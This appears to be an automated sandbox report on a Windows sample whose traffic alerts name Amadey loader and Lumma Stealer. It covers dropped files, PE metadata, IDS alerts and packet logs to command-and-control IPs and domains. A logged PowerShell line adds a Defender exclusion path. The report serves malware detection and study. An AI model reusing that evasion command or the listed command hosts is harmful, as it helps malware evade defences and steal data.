Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1...........@.................................W...k...........................T.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...duaanmls..........................@...vfkaysor......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4124796764255354
Encrypted:	false
SSDEEP:	6:QX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lFut0:6uQ1CGAFifXVFut0
MD5:	5A04850C9ECFC95E99943633EB5960DB
SHA1:	8FB48084B945245FA321575FCE35FBCF95CD5CD1
SHA-256:	C542247FA3F8C1FEFCC464AD439CB33052A46E68AD27AD980F8118F12AE7684D
SHA-512:	559A13C11AD4471212380DB3FD8EE0E6757866A84EE9F5A488B24A974BEC35CA8FD4E03EFBD142D0D52D7A7E45B9722CDA746497240AE58ACBFF65446AF79EB2
Malicious:	false
Preview:	....h.%{...E.+....6.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe
File Type:	Non-ISO extended-ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.093206356838667
Encrypted:	false
SSDEEP:	48:/vVn0n9bztick+3OtZk+3fbzticB+3OtZB+3mM2:mJV2TmhL2
MD5:	21761708C27C6D0C0BFFF554C066E9B2
SHA1:	FBB4E07C5ADC5F57EE81CDF20193925E4726F726
SHA-256:	C571F878C8DC3771E7A7AC23583C701AEC9F3A54DD1EAB268054622B27F23C98
SHA-512:	EDCDCAC0AE4344D44603FD4011CA1D9C4D9B72AC9C909CF65101433C5ED9BFC8C5CC7D29B83E2C84D8A3061BE7AD1DF95A7524536403B3D0346E861F2647DAEB
Malicious:	false
Preview:	Ordner erstellt: C:\ibrmuebu..Willkommen beim Textanalyseprogramm!..Geben Sie Text f.r die Analyse ein (2 Sekunden Zeit):...Die Zeit ist abgelaufen! Die Eingabe wurde nicht abgeschlossen...Generiere einen zuf.lligen Satz.....Generierter Satz: Blume Auto Blume Hund..Anzahl der W.rter: 4..Fehler beim Hinzuf.gen des Ausschlusses: Add-MpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: ..ConfigListExtension...At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\ibrmuebu..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..Add-MpPreference : Operation failed with the following error: 0x%1!x!..At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\ibrmuebu..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpec

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.564760591518184
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'016'192 bytes
MD5:	bca5ec4ffd71fa455f22d475ba23abc0
SHA1:	b2959885fd4196bddd1d4fac61ef4753d1fd6a4e
SHA256:	561d2aaa8e31fe8fbbb460d098b1bb901df3d0837199edcdd34134652d3f9210
SHA512:	f1613fc12260c82eca27dd4e3486d5ac42551f6a739352282be01c67e4e81918bbf34c943825102d8c635506010da60c873075b14b238f6c227d9e74497124f7
SSDEEP:	49152:2DvYp3SA4gRYB01iJSAVq0GP8vdJHKjHpf:6Qp/4gWB01iJFsL8vDqjp
TLSH:	C9D54C92B84765CBE49B16B845A7CD427FBE07F9472048C3D858647BBDB3CC162B6C28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x71b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F80A14C9D6Ah
pmulhuw mm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x319554	0x10	duaanmls
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x319504	0x18	duaanmls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	221a587d77cf8e1d836bcf8c7488e3dc	False	0.9984673024523161	data	7.987860722363615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	b6408a7b89f2a08bf4c3c0ec19cd4ce7	False	0.708984375	data	5.828165243234928	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
duaanmls	0x6b000	0x2af000	0x2aec00	c3438b75da5d2d736723be35a54451fc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vfkaysor	0x31a000	0x1000	0x400	9007ea6c8e939a7ea3bef3aeaee8d23c	False	0.7919921875	data	6.125031376318349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x31b000	0x3000	0x2200	2d146daf0c08601087cfad73ffdd81a8	False	0.05319393382352941	DOS executable (COM)	0.5467541673358585	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x319564	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x319948	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T13:12:06.017547+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49819	185.215.113.43	80	TCP
2024-12-20T13:12:10.702653+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49831	31.41.244.11	80	TCP
2024-12-20T13:12:18.153716+0100	2058424	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click)	1	192.168.2.5	61528	1.1.1.1	53	UDP
2024-12-20T13:12:18.506160+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49826	TCP
2024-12-20T13:12:19.696303+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.5	49854	104.21.12.88	443	TCP
2024-12-20T13:12:19.696303+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49854	104.21.12.88	443	TCP
2024-12-20T13:12:19.842502+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49853	185.215.113.43	80	TCP
2024-12-20T13:12:20.448434+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49854	104.21.12.88	443	TCP
2024-12-20T13:12:20.448434+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49854	104.21.12.88	443	TCP
2024-12-20T13:12:21.293612+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49859	31.41.244.11	80	TCP
2024-12-20T13:12:21.813705+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.5	49861	104.21.12.88	443	TCP
2024-12-20T13:12:21.813705+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49861	104.21.12.88	443	TCP
2024-12-20T13:12:22.675022+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49861	104.21.12.88	443	TCP
2024-12-20T13:12:22.675022+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49861	104.21.12.88	443	TCP
2024-12-20T13:12:24.232674+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.5	49867	104.21.12.88	443	TCP
2024-12-20T13:12:24.232674+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49867	104.21.12.88	443	TCP
2024-12-20T13:12:26.639144+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.5	49873	104.21.12.88	443	TCP
2024-12-20T13:12:26.639144+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49873	104.21.12.88	443	TCP
2024-12-20T13:12:28.763209+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.5	49879	104.21.12.88	443	TCP
2024-12-20T13:12:28.763209+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49879	104.21.12.88	443	TCP
2024-12-20T13:12:31.101432+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.5	49885	104.21.12.88	443	TCP
2024-12-20T13:12:31.101432+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49885	104.21.12.88	443	TCP
2024-12-20T13:12:31.875233+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49885	104.21.12.88	443	TCP
2024-12-20T13:12:32.164024+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49890	185.215.113.43	80	TCP
2024-12-20T13:12:33.538529+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.5	49894	104.21.12.88	443	TCP
2024-12-20T13:12:33.538529+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49894	104.21.12.88	443	TCP
2024-12-20T13:12:33.612925+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49893	31.41.244.11	80	TCP
2024-12-20T13:12:37.063334+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.5	49905	104.21.12.88	443	TCP
2024-12-20T13:12:37.063334+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49905	104.21.12.88	443	TCP
2024-12-20T13:12:37.819512+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49905	104.21.12.88	443	TCP
2024-12-20T13:12:38.910020+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49911	185.215.113.43	80	TCP
2024-12-20T13:12:40.130628+0100	2058212	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)	1	192.168.2.5	51034	1.1.1.1	53	UDP
2024-12-20T13:12:40.363004+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49913	31.41.244.11	80	TCP
2024-12-20T13:12:40.431697+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.5	63147	1.1.1.1	53	UDP
2024-12-20T13:12:41.430081+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.5	63147	1.1.1.1	53	UDP
2024-12-20T13:12:43.825988+0100	2058223	ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)	1	192.168.2.5	49924	45.77.249.79	443	TCP
2024-12-20T13:12:43.825988+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49924	45.77.249.79	443	TCP
2024-12-20T13:12:43.834234+0100	2822521	ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)	1	45.77.249.79	443	192.168.2.5	49924	TCP
2024-12-20T13:12:45.013676+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49924	45.77.249.79	443	TCP
2024-12-20T13:12:45.013676+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49924	45.77.249.79	443	TCP
2024-12-20T13:12:45.015347+0100	2058214	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)	1	192.168.2.5	54882	1.1.1.1	53	UDP
2024-12-20T13:12:46.007899+0100	2058214	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)	1	192.168.2.5	54882	1.1.1.1	53	UDP
2024-12-20T13:12:46.589864+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49931	185.215.113.43	80	TCP
2024-12-20T13:12:47.927856+0100	2058215	ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)	1	192.168.2.5	49936	178.62.201.34	443	TCP
2024-12-20T13:12:47.927856+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49936	178.62.201.34	443	TCP
2024-12-20T13:12:47.929449+0100	2822521	ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)	1	178.62.201.34	443	192.168.2.5	49936	TCP
2024-12-20T13:12:48.124824+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49937	31.41.244.11	80	TCP
2024-12-20T13:12:48.502729+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49936	178.62.201.34	443	TCP
2024-12-20T13:12:48.502729+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49936	178.62.201.34	443	TCP
2024-12-20T13:12:48.540438+0100	2058220	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz)	1	192.168.2.5	53665	1.1.1.1	53	UDP
2024-12-20T13:12:48.761396+0100	2058218	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz)	1	192.168.2.5	63580	1.1.1.1	53	UDP
2024-12-20T13:12:48.985865+0100	2058216	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz)	1	192.168.2.5	52403	1.1.1.1	53	UDP
2024-12-20T13:12:49.208452+0100	2058236	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou)	1	192.168.2.5	58292	1.1.1.1	53	UDP
2024-12-20T13:12:49.431115+0100	2058210	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou)	1	192.168.2.5	53108	1.1.1.1	53	UDP
2024-12-20T13:12:49.657247+0100	2058226	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou)	1	192.168.2.5	56461	1.1.1.1	53	UDP
2024-12-20T13:12:50.989759+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49943	172.67.180.113	443	TCP
2024-12-20T13:12:51.415679+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49944	23.55.153.106	443	TCP
2024-12-20T13:12:52.023582+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49948	185.215.113.43	80	TCP
2024-12-20T13:12:52.165208+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49943	172.67.180.113	443	TCP
2024-12-20T13:12:52.165208+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49943	172.67.180.113	443	TCP
2024-12-20T13:12:52.201679+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49944	23.55.153.106	443	TCP
2024-12-20T13:12:53.393066+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49951	172.67.180.113	443	TCP
2024-12-20T13:12:53.480166+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49950	31.41.244.11	80	TCP
2024-12-20T13:12:54.243183+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49951	172.67.180.113	443	TCP
2024-12-20T13:12:54.243183+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49951	172.67.180.113	443	TCP
2024-12-20T13:12:56.075297+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49959	172.67.180.113	443	TCP
2024-12-20T13:12:58.709595+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49966	172.67.180.113	443	TCP
2024-12-20T13:12:59.609444+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49966	172.67.180.113	443	TCP
2024-12-20T13:13:01.322812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49973	172.67.180.113	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 13:12:04.548428059 CET	49819	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:04.668205023 CET	80	49819	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:04.668297052 CET	49819	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:04.668518066 CET	49819	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:04.788079023 CET	80	49819	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:06.017477036 CET	80	49819	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:06.017546892 CET	49819	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:07.523979902 CET	49819	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:07.524305105 CET	49826	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:07.643809080 CET	80	49826	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:07.643907070 CET	49826	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:07.643975019 CET	80	49819	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:07.644036055 CET	49819	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:07.644145012 CET	49826	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:07.763729095 CET	80	49826	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:09.020086050 CET	80	49826	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:09.020123005 CET	80	49826	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:09.020160913 CET	49826	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:09.020211935 CET	49826	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:09.254277945 CET	80	49826	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:09.254373074 CET	49826	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:09.258539915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:09.378139019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:09.378277063 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:09.378407955 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:09.497965097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702476025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702565908 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702634096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702652931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.702666998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702688932 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.702718019 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.702718973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702754021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702766895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.702797890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.702804089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702838898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702847958 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.702872992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702884912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.702908039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.702953100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.822947979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.823107958 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.823127031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.823168993 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.826894999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.826936960 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.894768000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.895092010 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.895148993 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.898797035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.898854971 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.899174929 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.899260998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.907260895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.907439947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.907495022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.915204048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.915390968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.915457964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.923702955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.923775911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.923789978 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.923837900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.931915998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.932249069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.932328939 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.940265894 CET	80	49831	31.41.244.11	192.168.2.5
